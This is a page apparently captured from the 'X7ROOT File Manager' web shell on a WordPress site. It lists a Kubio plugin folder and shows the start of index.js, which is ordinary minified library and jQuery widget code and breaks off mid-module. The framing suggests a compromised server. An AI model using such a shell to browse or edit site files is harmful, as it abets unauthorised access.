X7ROOT File Manager
Current Path:
/home/gfecatvj/4abetter.us/wp-content/plugins/kubio/build/block-library
home
/
gfecatvj
/
4abetter.us
/
wp-content
/
plugins
/
kubio
/
build
/
block-library
/
π
..
π
blocks
π
blocks-manifest.php
(6.98 KB)
π
editor-rtl.css
(214.29 KB)
π
editor.css
(214.18 KB)
π
index.asset.php
(638 B)
π
index.js
(822.04 KB)
π
style-rtl.css
(168.64 KB)
π
style.css
(168.54 KB)
Editing: index.js
(()=>{var e={3150:e=>{"use strict";e.exports=e=>{if("string"!=typeof e)throw new TypeError("Expected a string");return e.replace(/[|\\{}()[\]^$+*?.]/g,"\\$&").replace(/-/g,"\\x2d")}},9588:e=>{e.exports=function(e,t){var o,n,a=0;function i(){var i,r,s=o,l=arguments.length;e:for(;s;){if(s.args.length===arguments.length){for(r=0;r<l;r++)if(s.args[r]!==arguments[r]){s=s.next;continue e}return s!==o&&(s===n&&(n=s.prev),s.prev.next=s.next,s.next&&(s.next.prev=s.prev),s.next=o,s.prev=null,o.prev=s,o=s),s.val}s=s.next}for(i=new Array(l),r=0;r<l;r++)i[r]=arguments[r];return s={args:i,val:e.apply(null,i)},o?(o.prev=s,s.next=o):n=s,a===t.maxSize?(n=n.prev).next=null:a++,o=s,s.val}return t=t||{},i.clear=function(){o=null,n=null,a=0},i}},7418:e=>{"use strict";var t=Object.getOwnPropertySymbols,o=Object.prototype.hasOwnProperty,n=Object.prototype.propertyIsEnumerable;e.exports=function(){try{if(!Object.assign)return!1;var e=new String("abc");if(e[5]="de","5"===Object.getOwnPropertyNames(e)[0])return!1;for(var t={},o=0;o<10;o++)t["_"+String.fromCharCode(o)]=o;if("0123456789"!==Object.getOwnPropertyNames(t).map((function(e){return t[e]})).join(""))return!1;var n={};return"abcdefghijklmnopqrst".split("").forEach((function(e){n[e]=e})),"abcdefghijklmnopqrst"===Object.keys(Object.assign({},n)).join("")}catch(e){return!1}}()?Object.assign:function(e,a){for(var i,r,s=function(e){if(null==e)throw new TypeError("Object.assign cannot be called with null or undefined");return Object(e)}(e),l=1;l<arguments.length;l++){for(var u in i=Object(arguments[l]))o.call(i,u)&&(s[u]=i[u]);if(t){r=t(i);for(var c=0;c<r.length;c++)n.call(i,r[c])&&(s[r[c]]=i[r[c]])}}return s}},7470:()=>{!function(e){for(var t=0,o=["ms","moz","webkit","o"],n=0;n<o.length&&!e.requestAnimationFrame;++n)e.requestAnimationFrame=e[o[n]+"RequestAnimationFrame"],e.cancelAnimationFrame=e[o[n]+"CancelAnimationFrame"]||e[o[n]+"CancelRequestAnimationFrame"];e.requestAnimationFrame||(e.requestAnimationFrame=function(o,n){var a=(new Date).getTime(),i=Math.max(0,16-(a-t)),r=e.setTimeout((function(){o(a+i)}),i);return t=a+i,r}),e.cancelAnimationFrame||(e.cancelAnimationFrame=function(e){clearTimeout(e)})}(window)},406:(e,t,o)=>{var n=o(7418);function a(e){var t=typeof e;return"function"===t||"object"===t&&!!e}function i(e){return"string"==typeof e}function r(e){return e.split(/\s+/g).filter((function(e){return 0!==e.length}))}function s(e){return i(e)&&""!==e?r(e):e&&e.length?e.reduce((function(e,t){return t?e.concat(r(t)):e}),[]):a(e)?(t=e,Object.keys(t).reduce((function(e,o){var n=t[o];return"function"==typeof n&&(n=n()),n?e.concat(r(o)):e}),[])):[];var t}function l(e){return function(t){i(t)&&(t={name:t});var o=(t=n({prefix:"",modifierDelimiter:"--",outputIsString:!1},e,t)).prefix+t.name,r=t.modifierDelimiter,l=t.outputIsString;return function(e,t,n){var i;a(e)?(i=e.element,t=e.modifiers||e.modifier,n=e.extra):i=e;var u=i?o+"__"+i:o,c=[u].concat(s(t).map((function(e){return u+r+e}))).concat(s(n)).join(" ").trim();return l?c:{className:c}}}}var u=l({});u.withDefaults=l,e.exports=u},9590:e=>{var t="undefined"!=typeof Element,o="function"==typeof Map,n="function"==typeof Set,a="function"==typeof ArrayBuffer&&!!ArrayBuffer.isView;function i(e,r){if(e===r)return!0;if(e&&r&&"object"==typeof e&&"object"==typeof r){if(e.constructor!==r.constructor)return!1;var s,l,u,c;if(Array.isArray(e)){if((s=e.length)!=r.length)return!1;for(l=s;0!=l--;)if(!i(e[l],r[l]))return!1;return!0}if(o&&e instanceof Map&&r instanceof Map){if(e.size!==r.size)return!1;for(c=e.entries();!(l=c.next()).done;)if(!r.has(l.value[0]))return!1;for(c=e.entries();!(l=c.next()).done;)if(!i(l.value[1],r.get(l.value[0])))return!1;return!0}if(n&&e instanceof Set&&r instanceof Set){if(e.size!==r.size)return!1;for(c=e.entries();!(l=c.next()).done;)if(!r.has(l.value[0]))return!1;return!0}if(a&&ArrayBuffer.isView(e)&&ArrayBuffer.isView(r)){if((s=e.length)!=r.length)return!1;for(l=s;0!=l--;)if(e[l]!==r[l])return!1;return!0}if(e.constructor===RegExp)return e.source===r.source&&e.flags===r.flags;if(e.valueOf!==Object.prototype.valueOf)return e.valueOf()===r.valueOf();if(e.toString!==Object.prototype.toString)return e.toString()===r.toString();if((s=(u=Object.keys(e)).length)!==Object.keys(r).length)return!1;for(l=s;0!=l--;)if(!Object.prototype.hasOwnProperty.call(r,u[l]))return!1;if(t&&e instanceof Element)return!1;for(l=s;0!=l--;)if(("_owner"!==u[l]&&"__v"!==u[l]&&"__o"!==u[l]||!e.$$typeof)&&!i(e[u[l]],r[u[l]]))return!1;return!0}return e!=e&&r!=r}e.exports=function(e,t){try{return i(e,t)}catch(e){if((e.message||"").match(/stack|recursion/i))return console.warn("react-fast-compare cannot handle circular refs"),!1;throw e}}},5251:(e,t,o)=>{"use strict";var n=o(9196),a=Symbol.for("react.element"),i=Symbol.for("react.fragment"),r=Object.prototype.hasOwnProperty,s=n.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED.ReactCurrentOwner,l={key:!0,ref:!0,__self:!0,__source:!0};function u(e,t,o){var n,i={},u=null,c=null;for(n in void 0!==o&&(u=""+o),void 0!==t.key&&(u=""+t.key),void 0!==t.ref&&(c=t.ref),t)r.call(t,n)&&!l.hasOwnProperty(n)&&(i[n]=t[n]);if(e&&e.defaultProps)for(n in t=e.defaultProps)void 0===i[n]&&(i[n]=t[n]);return{$$typeof:a,type:e,key:u,ref:c,props:i,_owner:s.current}}t.Fragment=i,t.jsx=u,t.jsxs=u},5893:(e,t,o)=>{"use strict";e.exports=o(5251)},4670:(e,t,o)=>{"use strict";e.exports=o(5607)},9829:(e,t,o)=>{"use strict";var n,a,i,r=o(8946),s="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-";function l(){i=!1}function u(e){if(e){if(e!==n){if(e.length!==s.length)throw new Error("Custom alphabet for shortid must be "+s.length+" unique characters. You submitted "+e.length+" characters: "+e);var t=e.split("").filter((function(e,t,o){return t!==o.lastIndexOf(e)}));if(t.length)throw new Error("Custom alphabet for shortid must be "+s.length+" unique characters. These characters were not unique: "+t.join(", "));n=e,l()}}else n!==s&&(n=s,l())}function c(){return i||(i=function(){n||u(s);for(var e,t=n.split(""),o=[],a=r.nextValue();t.length>0;)a=r.nextValue(),e=Math.floor(a*t.length),o.push(t.splice(e,1)[0]);return o.join("")}())}e.exports={get:function(){return n||s},characters:function(e){return u(e),n},seed:function(e){r.seed(e),a!==e&&(l(),a=e)},lookup:function(e){return c()[e]},shuffled:c}},480:(e,t,o)=>{"use strict";var n,a,i=o(8416);o(9829),e.exports=function(e){var t="",o=Math.floor(.001*(Date.now()-1567752802062));return o===a?n++:(n=0,a=o),t+=i(7),t+=i(e),n>0&&(t+=i(n)),t+i(o)}},8416:(e,t,o)=>{"use strict";var n=o(9829),a=o(3766),i=o(296);e.exports=function(e){for(var t,o=0,r="";!t;)r+=i(a,n.get(),1),t=e<Math.pow(16,o+1),o++;return r}},5607:(e,t,o)=>{"use strict";var n=o(9829),a=o(480),i=o(1082),r=o(5636)||0;function s(){return a(r)}e.exports=s,e.exports.generate=s,e.exports.seed=function(t){return n.seed(t),e.exports},e.exports.worker=function(t){return r=t,e.exports},e.exports.characters=function(e){return void 0!==e&&n.characters(e),n.shuffled()},e.exports.isValid=i},1082:(e,t,o)=>{"use strict";var n=o(9829);e.exports=function(e){return!(!e||"string"!=typeof e||e.length<6||new RegExp("[^"+n.get().replace(/[|\\{}()[\]^$+*?.-]/g,"\\$&")+"]").test(e))}},3766:e=>{"use strict";var t,o="object"==typeof window&&(window.crypto||window.msCrypto);t=o&&o.getRandomValues?function(e){return o.getRandomValues(new Uint8Array(e))}:function(e){for(var t=[],o=0;o<e;o++)t.push(Math.floor(256*Math.random()));return t},e.exports=t},8946:e=>{"use strict";var t=1;e.exports={nextValue:function(){return(t=(9301*t+49297)%233280)/233280},seed:function(e){t=e}}},5636:e=>{"use strict";e.exports=0},296:e=>{e.exports=function(e,t,o){for(var n=(2<<Math.log(t.length-1)/Math.LN2)-1,a=-~(1.6*n*o/t.length),i="";;)for(var r=e(a),s=a;s--;)if((i+=t[r[s]&n]||"").length===+o)return i}},5023:()=>{!function(e,t){const o="accordion",n=function(e,n){this.namespace=o,this.defaults={target:null,toggle:!0,active:!1,toggleClass:"h-accordion-item-title",boxClass:"h-accordion-item-content__container",activeClass:"accordion-active h-custom-active-state",callbacks:["open","opened","close","closed"],hashes:[],currentHash:!1,currentItem:!1},t.apply(this,arguments),this.start()};n.prototype={start(){this.$items=this.getItems(),this.$items.each(e.proxy(this.loadItems,this)),this.$boxes=this.getBoxes(),this.setInitialOpenedItems(),this.setActiveItem()},stop(){this.closeAll()},restart(){this.updateOpts(),this.stop(),this.start()},getItems(){return this.$element.find(`> .h-accordion-item > .${this.opts.toggleClass}`)},setInitialOpenedItems(){let t=!1;this.$items.each(((o,n)=>{"true"!==e(n).attr("data-open-by-default")||this.opts.toggle&&(!this.opts.toggle||t)||(t=!0,this.addActive(this.getItem(n)))}))},getBoxes(){return this.$element.find(`> .h-accordion-item > .${this.opts.boxClass}, > .h-accordion-item > .h-accordion-item-content`)},loadItems(t,o){const n=this.getItem(o);n.$el.attr("rel",n.hash),n.$el.hasClass(this.opts.activeClass)&&(this.opts.currentItem=n,this.opts.active=n.hash);const a=["click","tap"].map((e=>`${e}.${this.namespace} `)).join(" ");n.$el.off(a).on(a,e.proxy(this.toggle,this))},setActiveItem(){!1!==this.opts.active&&(this.opts.currentItem=this.getItemBy(this.opts.active),this.opts.active=this.opts.currentItem.hash),!1!==this.opts.currentItem&&(this.addActive(this.opts.currentItem),this.opts.currentItem.$box.removeClass("hide"))},addActive(e){e.$box.find(".h-element").trigger("colibriContainerOpened"),e.$box.removeClass("hide").addClass("open"),e.$el.addClass(this.opts.activeClass),!1!==e.$caret&&e.$caret.removeClass("down").addClass("up"),!1!==e.$parent&&e.$parent.addClass(this.opts.activeClass),this.opts.currentItem=e},removeActive(e){e.$box.removeClass("open"),e.$el.removeClass(this.opts.activeClass),!1!==e.$caret&&e.$caret.addClass("down").removeClass("up"),!1!==e.$parent&&e.$parent.removeClass(this.opts.activeClass),this.opts.currentItem=!1},toggle(t){t&&t.preventDefault();const o=e(t.target).closest("."+this.opts.toggleClass).get(0)||t.target,n=this.getItem(o);this.isOpened(n.hash)?this.close(n.hash):this.open(t)},openAll(){this.$items.addClass(this.opts.activeClass),this.$boxes.addClass("open").removeClass("hide")},open(t,o){if(void 0===t)return;"object"==typeof t&&t.preventDefault();const n=e(t.target).closest("."+this.opts.toggleClass).get(0)||t.target,a="object"==typeof t?this.getItem(n):this.getItemBy(t);a.$box.hasClass("open")||(this.opts.toggle&&this.closeAll(),this.callback("open",a),this.addActive(a),this.onOpened())},onOpened(){this.callback("opened",this.opts.currentItem)},closeAll(){this.$items.removeClass(this.opts.activeClass).closest("li").removeClass(this.opts.activeClass),this.$boxes.removeClass("open").addClass("hide")},close(e){const t=this.getItemBy(e);this.callback("close",t),this.opts.currentItem=t,this.onClosed()},onClosed(){const e=this.opts.currentItem;this.removeActive(e),this.callback("closed",e)},isOpened(t){return e("[rel="+t+"]").hasClass(this.opts.activeClass)},getItem(t){const o={};o.$el=e(t),o.hash=o.$el.attr("href"),o.$box=e(o.hash);const n=o.$el.parent();o.$parent="LI"===n[0].tagName&&n;const a=o.$el.find(".caret");return o.$caret=0!==a.length&&a,o},getItemBy(e){const t="number"==typeof e?this.$items.eq(e-1):this.$element.find('[rel="'+e+'"]');return this.getItem(t)}},n.inherits(t),t[o]=n,t.Plugin.create(o),t.Plugin.autoload(o)}(jQuery,Colibri)},3447:()=>{!function(e){const t=function(t){const o=e.extend({animationType:"rotate-1",animationDelay:2500,barAnimationDelay:3800,barWaiting:800,lettersDelay:50,typeLettersDelay:150,selectionDuration:500,typeAnimationDelay:1300,revealDuration:600,revealAnimationDelay:1500},t);let n=o.animationDelay;function a(e){const t=l(e);if(e.parents(".ah-headline").hasClass("type")){const n=e.parent(".ah-words-wrapper");n.addClass("selected").removeClass("waiting"),setTimeout((function(){n.removeClass("selected"),e.removeClass("is-visible").addClass("is-hidden").children("i").removeClass("in").addClass("out")}),o.selectionDuration),setTimeout((function(){i(t,o.typeLettersDelay)}),o.typeAnimationDelay)}else if(e.parents(".ah-headline").hasClass("letters")){const n=e.children("i").length>=t.children("i").length;r(e.find("i").eq(0),e,n,o.lettersDelay),s(t.find("i").eq(0),t,n,o.lettersDelay)}else e.parents(".ah-headline").hasClass("clip")?e.parents(".ah-words-wrapper").animate({width:"2px"},o.revealDuration,(function(){u(e,t),i(t)})):e.parents(".ah-headline").hasClass("loading-bar")?(e.parents(".ah-words-wrapper").removeClass("is-loading"),u(e,t),setTimeout((function(){a(t)}),o.barAnimationDelay),setTimeout((function(){e.parents(".ah-words-wrapper").addClass("is-loading")}),o.barWaiting)):(u(e,t),setTimeout((function(){a(t)}),o.animationDelay))}function i(e,t){e.parents(".ah-headline").hasClass("type")?(s(e.find("i").eq(0),e,!1,t),e.addClass("is-visible").removeClass("is-hidden")):e.parents(".ah-headline").hasClass("clip")&&e.parents(".ah-words-wrapper").animate({width:e.width()+10},o.revealDuration,(function(){setTimeout((function(){a(e)}),o.revealAnimationDelay)}))}function r(t,n,i,s){if(t.removeClass("in").addClass("out"),t.is(":last-child")?i&&setTimeout((function(){a(l(n))}),o.animationDelay):setTimeout((function(){r(t.next(),n,i,s)}),s),t.is(":last-child")&&e("html").hasClass("no-csstransitions")){const e=l(n);u(n,e)}}function s(e,t,n,i){e.addClass("in").removeClass("out"),e.is(":last-child")?(t.parents(".ah-headline").hasClass("type")&&setTimeout((function(){t.parents(".ah-words-wrapper").addClass("waiting")}),200),n||setTimeout((function(){a(t)}),o.animationDelay)):setTimeout((function(){s(e.next(),t,n,i)}),i)}function l(e){return e.is(":last-child")?e.parent().children().eq(0):e.next()}function u(e,t){e.removeClass("is-visible").addClass("is-hidden"),t.removeClass("is-hidden").addClass("is-visible")}this.each((function(){const t=e(this);if(o.animationType&&("type"===o.animationType||"rotate-2"===o.animationType||"rotate-3"===o.animationType||"scale"===o.animationType?t.find(".ah-headline").addClass("letters "+o.animationType):"clip"===o.animationType?t.find(".ah-headline").addClass(o.animationType+" is-full-width"):t.find(".ah-headline").addClass(o.animationType)),e(".ah-headline.letters").find("b").each((function(){const t=e(this),o=t.text().split(""),n=t.hasClass("is-visible");for(const e in o)t.parents(".rotate-2").length>0&&(o[e]="<em>"+o[e]+"</em>"),o[e]=n?'<i class="in">'+o[e]+"</i>":"<i>"+o[e]+"</i>";const a=o.join("");t.html(a).css("opacity",1)})),t.hasClass("loading-bar"))n=o.barAnimationDelay,setTimeout((function(){t.find(".ah-words-wrapper").addClass("is-loading")}),o.barWaiting);else if(t.hasClass("clip")){const e=t.find(".ah-words-wrapper"),o=e.width()+10;e.css("width",o)}else if(!t.find(".ah-headline").hasClass("type")){let o=t.find(".ah-words-wrapper b"),n=0;o.each((function(){const t=e(this).width();t>n&&(n=t)})),t.find(".ah-words-wrapper").css("width",n)}setTimeout((function(){a(t.find(".is-visible").eq(0))}),n)}))};window.wp&&window.wp.customize?e.fn.animatedHeadline=function(){const e=this,o=arguments;setTimeout((()=>{t.apply(e,o)}),100)}:e.fn.animatedHeadline=t}(jQuery)},8932:()=>{!function(e,t){const o="fancy-title",n=function(e,n){this.namespace=o,this.defaults={typeAnimationDurationIn:.1,typeAnimationDurationOut:.1,animationDuration:1},t.apply(this,arguments),this.start()};n.prototype={start(){if("type"!==this.opts.typeAnimation)jQuery(this.$element).animatedHeadline({animationType:this.opts.typeAnimation,animationDelay:1e3*this.opts.animationDuration});else if(!this.isIE()){jQuery(this.$element).attr("fancy-id");const e=this.opts.rotatingWords.split("\n");e.unshift(this.opts.word);const t={strings:e,typeSpeed:1e3*this.opts.typeAnimationDurationIn,backSpeed:1e3*this.opts.typeAnimationDurationOut,contentType:"html",smartBackspace:!1,loop:!0};this.$element.empty(),new Typed(this.$element[0],t)}},isIE(){const e=navigator.userAgent;return e.indexOf("MSIE ")>-1||e.indexOf("Trident/")>-1}},n.inherits(t),t[o]=n,t.Plugin.create(o),t.Plugin.autoload(o)}(jQuery,Colibri)},8550:()=>{!function(e,t){const o="downarrow",n=function(){this.namespace=o,this.defaults={arrowSelector:"",scrollTargetSelector:""},t.apply(this,arguments),this.start()};n.prototype={start(){if(!(this.opts&&this.opts.arrowSelector&&this.opts.scrollTargetSelector))return;this.$arrow=this.$element.find(this.opts.arrowSelector);const t=e(this.opts.scrollTargetSelector);this.$arrow.smoothScrollAnchor({target:t})},stop(){this.$arrow&&this.$arrow.off("click.smooth-scroll tap.smooth-scroll")},reset(e){},restart(){this.stop(),this.start()},ready(){this.opts.firstTime||(this.opts.firstTime=!0)}},n.inherits(t),t[o]=n,t.Plugin.create(o),t.Plugin.autoload(o)}(jQuery,Colibri)},5718:()=>{!function(e,t){const o="image-gallery",n=function(){this.namespace=o,this.defaults={data:{}},t.apply(this,arguments),this.firstImageLastWidth=this.getFirstImageWidth(),this.resizeObserverCallbackDebounce=e.debounce(this.resizeObserverCallback.bind(this),500),this.resizeObserver=new window.ResizeObserver(this.resizeObserverCallbackDebounce),this.start()};n.prototype={start(){e(this.$element).find(".wp-block-kubio-image-gallery-item__link.lightbox").on("click",(t=>{t.preventDefault();let o=1;const n=e(t.currentTarget).closest(".wp-block-kubio-image-gallery__gallery").find(".wp-block-kubio-image-gallery-item__link.lightbox"),a=[];e(n).each((function(n){const i=e(this).attr("href");i===e(t.currentTarget).attr("href")&&(o=n),a.push({src:i,opts:{}})})),e.fancybox.open(a,{arrows:!0,index:o})})),this.settings.showMasonry&&this.startMasonry()},startMasonry(){if(this.cleanObservers(),0===this.$element.parent().length)return;this.$element.masonry({itemSelector:".image-gallery-grid-item",percentPosition:!0});const t=this.$element;!function(){const o=t.find("img");let n=0,a=0;function i(){if(n++,o.length===n)try{t.data().masonry.layout()}catch(e){console.error(e)}}o.each((function(){this.complete?(a++,i()):(e(this).on("load",i),e(this).on("error",i))})),o.length!==a&&"complete"==document.readyState&&setTimeout((function(){t.data().masonry.layout()}),10),e(window).on("load",(function(){t.data().masonry.layout()}))}();const o=this.getFirstImage();o.length>0&&this.resizeObserver.observe(o.get(0)),this.resizeObserver.observe(this.$element[0])},cleanObservers(){this.resizeObserver&&this.resizeObserver.disconnect()},resizeObserverCallback(){this.firstImageLastWidth!==this.getFirstImageWidth()&&(this.firstImageLastWidth=this.getFirstImageWidth(),this.masonryLayout())},getFirstImage(){return this.$element.find("figure img").first()},getFirstImageWidth(){return this.getFirstImage().width()},masonryLayout(){try{this.$element.data().masonry.layout()}catch(e){}},stopMasonry(){if(this.cleanObservers(),this.$element.data("masonry"))try{this.$element.masonry("destroy")}catch(e){}},restartMasonry(){this.stopMasonry(),this.startMasonry()}},n.inherits(t),t[o]=n,t.Plugin.create(o),t.Plugin.autoload(o)}(jQuery,Colibri)},3935:()=>{!function(e,t){const o="accordion-menu",n=function(e,n){this.namespace=o,this.defaults={menuSelector:".kubio-menu",offCanvasWrapper:".kubio-menu-container",linkSelector:".menu-item-has-children > a, .page_item_has_children > a",linkLeafsSelector:"li:not(.menu-item-has-children):not(.page_item_has_children) > a",arrowSelector:"svg",$menu:null},t.apply(this,arguments),this.initBindedFunctions(),this.initEventListenersData(),this.start()};n.prototype={start(){const e=this.$element.find(this.opts.menuSelector).first();this.opts.$menu=e;const t=e.find("> ul > li.current-menu-item").get(0);this.opts.$menu.find("a").data("allow-propagation",!0),this.opts.$menu.find(this.opts.arrowSelector).attr("tabIndex",0),this.removeEventListeners(),this.addEventListeners(),this.addMenuScrollSpy(e,t);const o=this.opts.$menu.find(".current-menu-parent").first();o.length&&this.openDropDown(o),this.addFocusListener()},initBindedFunctions(){this.debounceApplyDropdownLogic=e.debounce(this.applyDropdownLogic.bind(this),10),this.bindedLinkEventHandler=this.linkEventHandler.bind(this),this.bindedLinkArrowEventHandler=this.linkArrowEventHandler.bind(this)},initEventListenersData(){const e=".accordion-menu",t=["click","tap"].map((t=>`${t}${e}`)),o=t.map((e=>e+".link-selector")).join(" "),n=t.concat([`keyup${e}`]).map((e=>e+" svg")).join(" "),a=t.map((e=>e+".off-canvas")).join(" ");this._eventOptions={menuNamespace:e,linkSelectorEvent:o,arrowSelectorEvent:n,offCanvasEvent:a}},toggleFocus(t,o=!0){for(;this.opts.$menu[0]!==t;)"li"===t.tagName.toLowerCase()&&(o?(e(t).closest("li.menu-item-has-children").children("a").addClass("hover"),t.classList.add("hover"),e(t).children("a").addClass("hover")):(e(t).closest("li.menu-item-has-children").children("a").removeClass("hover"),t.classList.remove("hover"),e(t).children("a").removeClass("hover"))),t=t.parentElement},addFocusListener(){const e=this.opts.$menu.find("a");e.on("focus",(e=>{this.toggleFocus(e.currentTarget)})),e.on("blur",(e=>{this.toggleFocus(e.currentTarget,!1)}))},addEventListeners(){const t=this.opts.$menu,o=this._eventOptions;t.on(o.arrowSelectorEvent,this.opts.arrowSelector,this.bindedLinkArrowEventHandler),window.wp&&window.wp.customize&&t.off(o.linkSelectorEvent,this.opts.linkSelector),t.on(o.linkSelectorEvent,this.opts.linkSelector,this.bindedLinkEventHandler),t.on(o.offCanvasEvent,this.opts.linkLeafsSelector,this.closeOffcanvasPanel),e(document).on("keyup."+this.namespace,e.proxy(this.handleKeyboard,this))},removeEventListeners(){const t=this.opts.$menu,o=this._eventOptions;t.off(o.menuNamespace),e(document).on("keyup."+this.namespace)},stop(){this.removeEventListeners(),this.removeAllSvgArrows()},handleKeyboard(t){let o=t.target;"svg"===o.tagName.toLowerCase()&&(o=o.parentNode),e.contains(this.opts.$menu[0],o)&&e(o).siblings("ul").length&&(37===t.which&&this.closeDropDown(e(o).closest("li")),39===t.which&&this.openDropDown(e(o).closest("li")))},openDropDown(t){t&&((t=e(t).is("a")?e(t).closest("li"):e(t)).addClass("open"),t.children("ul").slideDown(100))},closeDropDown(t){t&&((t=e(t).is("a")?e(t).closest("li"):e(t)).removeClass("open"),t.children("ul").slideUp(100))},isDropDownOpen:e=>e.is(".open"),closeOffcanvasPanel(){window.wp&&window.wp.customize||setTimeout((()=>{e(".offscreen-overlay").trigger("click")}),500)},linkEventHandler(t,o){const n=window.wp&&window.wp.customize;n&&t.preventDefault();const a=e(t.target).closest("li");0===a.find("ul").length||!o&&a.hasClass("open")&&!n?this.closeOffcanvasPanel():((o||!o&&!a.hasClass("open"))&&(t.preventDefault(),t.stopPropagation()),this.debounceApplyDropdownLogic(t,o))},linkArrowEventHandler(e){"keyup"===e.type?13===e.which&&this.linkEventHandler(e,!0):this.linkEventHandler(e,!0)},applyDropdownLogic(t,o){const n=e(t.target).closest("li");0!==n.find("ul").length?o&&this.isDropDownOpen(n)?this.closeDropDown(n):this.openDropDown(n):this.closeOffcanvasPanel()},removeAllSvgArrows(){this.opts.$menu&&this.opts.$menu.find(this.opts.arrowSelector).remove()},addMenuScrollSpy(t,o){const n=t,a=this;if(e.fn.kubioScrollSpy){const t=a.opts.linkSelector,i=a.opts.arrowSelector;n.find("a").not(t).not(i).kubioScrollSpy({onChange(){n.find(".current-menu-item,.current_page_item").removeClass("current-menu-item current_page_item"),e(this).closest("li").addClass("current-menu-item current_page_item")},onLeave(){e(this).closest("li").removeClass("current-menu-item current_page_item"),!n.find(".current-menu-item, .current_page_item").length&&o&&e(o).addClass("current-menu-item current_page_item")},clickCallback(){a.closeOffcanvasPanel()},smoothScrollAnchor:!0,offset(){const e=n.closest('[data-kubio-component="navigation"]');return e.length?e[0].getBoundingClientRect().height+20:20}})}e(window).trigger("smoothscroll.update")}},n.inherits(t),t[o]=n,t.Plugin.create(o),t.Plugin.autoload(o)}(jQuery,Colibri)},2182:()=>{!function(e,t){const o="dropdown-menu",n=function(){this.namespace=o,this.defaults={menuSelector:".kubio-menu",$menu:null},t.apply(this,arguments),this.start()};n.prototype={start(){const e=this.$element.find(this.opts.menuSelector).first();this.opts.$menu=e;const t=e.find("> ul > li.current-menu-item").get(0);this.stop(),this.addListener(),this.addFocusListener(),this.addReverseMenuLogic(),this.addTabletMenuLogic(),this.addMenuScrollSpy(e,t)},toggleFocus(t,o=!0){for(;this.opts.$menu[0]!==t;)"li"===t.tagName.toLowerCase()&&(o?(e(t).closest("li.menu-item-has-children").children("a").addClass("hover"),t.classList.add("hover"),e(t).children("a").addClass("hover")):(e(t).closest("li.menu-item-has-children").children("a").removeClass("hover"),t.classList.remove("hover"),e(t).children("a").removeClass("hover"))),t=t.parentElement},addFocusListener(){const e=this.opts.$menu.find("li");e.on("mouseover",(e=>{this.toggleFocus(e.currentTarget)})),e.on("mouseout",(e=>{this.toggleFocus(e.currentTarget,!1)}));const t=this.opts.$menu.find("li > a");t.on("focus",(e=>{this.toggleFocus(e.currentTarget)})),t.on("blur",(e=>{this.toggleFocus(e.currentTarget,!1)}))},stop(){this.removeListeners()},copyLiEventTaA(t){let o="";t.target&&t.target.tagName&&(o=t.target.tagName),"a"===o.toLowerCase()||t.target.closest("a")||e(t.currentTarget).find("> a")[0].click()},addListener(){this.opts.$menu.find("li").on("click",this.copyLiEventTaA)},removeListeners(){const e=this.opts.$menu;e.off("mouseover.navigation"),e.find("li").off("click",this.copyLiEventTaA),this.removeTabletLogic()},removeTabletLogic(){this.opts.$menu.off("tap.navigation")},addReverseMenuLogic(){const t=this.opts.$menu,o=this;t.on("mouseover.navigation","li",(function(){t.find("li.hover").removeClass("hover"),o.setOpenReverseClass(t,e(this))}))},setOpenReverseClass(e,t){if(this.getItemLevel(e,t)>0){const e=t.children("ul"),o=e.length&&t.offset().left+t.width()+300>window.innerWidth,n=e.length&&t.closest(".open-reverse").length;o||n?e.addClass("open-reverse"):e.length&&e.removeClass("open-reverse")}},getItemLevel(e,t){const o=this.opts.menuSelector;return t.parentsUntil(o).filter("li").length},addTabletMenuLogic(){const e=this.opts.$menu;this.opts.clickOnLink||(this.opts.clickOnLink=this.clickOnLink.bind(this)),this.opts.clickOnArrow||(this.opts.clickOnArrow=this.clickOnArrow.bind(this)),e.off("tap.navigation",this.opts.clickOnArrow),e.on("tap.navigation","li.menu-item > a svg",this.opts.clickOnArrow),e.off("tap.navigation",this.opts.clickOnLink),e.on("tap.navigation","li.menu-item > a",this.opts.clickOnLink)},clickOnLink(t,o=!1){const n=this,a=e(t.target),i=a.closest("li"),r=a.closest("a"),s=this.opts.$menu;if(i.children("ul").length)if(n.isSelectedItem(i)){const a=r.attr("href");if(0===a.indexOf("#")){const t=a.replace("#","").trim();if(!t||!e("#"+t).length)return}t.stopPropagation(),o&&t.preventDefault(),n.deselectItems(s,i)}else t.stopPropagation(),t.preventDefault(),n.selectItem(s,i);else t.stopPropagation(),(o||!o&&n.isSelectedItem(i))&&t.preventDefault(),n.deselectItems(s,i)},clickOnArrow(e){this.clickOnLink(e,!0)},selectItem(t,o){this.deselectItems(t,o),o.attr("data-selected-item",!0),this.clearMenuHovers(t,o),o.addClass("hover"),this.setOpenReverseClass(t,o);const n=this;e("body").on("tap.navigation-clear-selection","*",(function(){const e=jQuery(this);n.clearSelectionWhenTapOutside(e,t)})),e(window).on("scroll.navigation-clear-selection",(function(){const e=jQuery(this);n.clearSelectionWhenTapOutside(e,t)}))},deselectItems(t,o){o.removeClass("hover"),t.find("[data-selected-item]").each((function(){e(this).removeAttr("data-selected-item");const o=t.children("ul");t.is(".mobile-menu")&&o.slideDown()}))},isSelectedItem:e=>e.is("[data-selected-item]"),clearMenuHovers(t,o){const n=this;t.find("li.hover").each((function(){o&&n.containsSelectedItem(e(this))||e(this).removeClass("hover")}))},containsSelectedItem:e=>e.find("[data-selected-item]").length>0||e.is("[data-selected-item]"),clearSelectionWhenTapOutside(t,o){e("body").off("tap.navigation-clear-selection"),e(window).off("scroll.navigation-clear-selection"),t.is(o)||e.contains(o[0],this)||this.clearMenuHovers(o)},addMenuScrollSpy(t,o){const n=t;e.fn.kubioScrollSpy&&n.find("a").kubioScrollSpy({onChange(){n.find(".current-menu-item, .current_page_item").removeClass("current-menu-item current_page_item"),e(this).closest("li").addClass("current-menu-item current_page_item")},onLeave(){const t=n.closest(".h-navigation_sticky");e(this).closest("li").removeClass("current-menu-item current_page_item hover"),!n.find(".current-menu-item, .current_page_item").length&&o&&(t||n.find(".current-menu-item, .current_page_item").removeClass("current-menu-item current_page_item"),e(o).addClass("current-menu-item current_page_item"))},smoothScrollAnchor:!0,offset(){const e=n.closest(".h-navigation_sticky");return e.length?e[0].getBoundingClientRect().height:0}}),e(window).trigger("smoothscroll.update")}},n.inherits(t),t[o]=n,t.Plugin.create(o),t.Plugin.autoload(o)}(jQuery,Colibri)},1485:()=>{!function(e,t){const 